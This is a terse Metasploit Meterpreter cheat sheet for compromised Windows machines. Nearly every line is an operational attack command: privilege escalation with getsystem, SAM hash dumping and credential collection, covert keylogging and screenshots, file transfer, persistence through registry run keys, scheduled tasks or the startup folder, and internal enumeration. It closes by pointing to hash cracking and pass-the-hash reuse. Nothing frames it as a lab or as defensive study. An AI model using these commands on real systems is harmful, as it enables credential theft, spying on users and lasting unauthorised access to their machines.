METASPLOIT CONSOLE
msfconsole — launch MSF
sessions — list active sessions
sessions -i 1 — interact with session 1
sessions -l — list all sessions
background — background current session
SYSTEM ENUMERATION
sysinfo — OS, hostname, arch
getuid — current user
getpid — current process ID
ps — list running processes
ipconfig — network interfaces
arp — ARP cache
route — routing table
env — environment variables
PRIVILEGE ESCALATION
getsystem — auto privesc to SYSTEM
getsystem -t 1 — named pipe impersonation
getsystem -t 3 — token duplication
getuid — verify new privilege level
CREDENTIAL DUMPING
hashdump — dump SAM hashes (needs SYSTEM)
run post/windows/gather/credentials/credential_collector
run post/multi/recon/local_exploit_suggester
EVIDENCE COLLECTION
screenshot — capture desktop screenshot
keyscan_start — start keylogger
keyscan_dump — dump captured keystrokes
keyscan_stop — stop keylogger
download <file> — download file from target
upload <file> — upload file to target
PERSISTENCE
# Two available modules (both work):
run post/windows/manage/persistence
run post/windows/manage/persistence_exe
# Options:
STARTUP=REGISTRY — registry run key (default)
STARTUP=SCHEDULER — scheduled task
STARTUP=STARTUPFOLDER — startup folder
SESSION=1
run persistence -h — see all options
PIVOTING & RECON
run post/multi/manage/shell_to_meterpreter
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
run post/windows/gather/enum_applications
run post/multi/recon/local_exploit_suggester
HASH FORMAT
Hashdump output format:
username:RID:LM_hash:NTLM_hash:::
NTLM hashes can be cracked with Hashcat (mode 1000) or used directly in Pass-the-Hash attacks.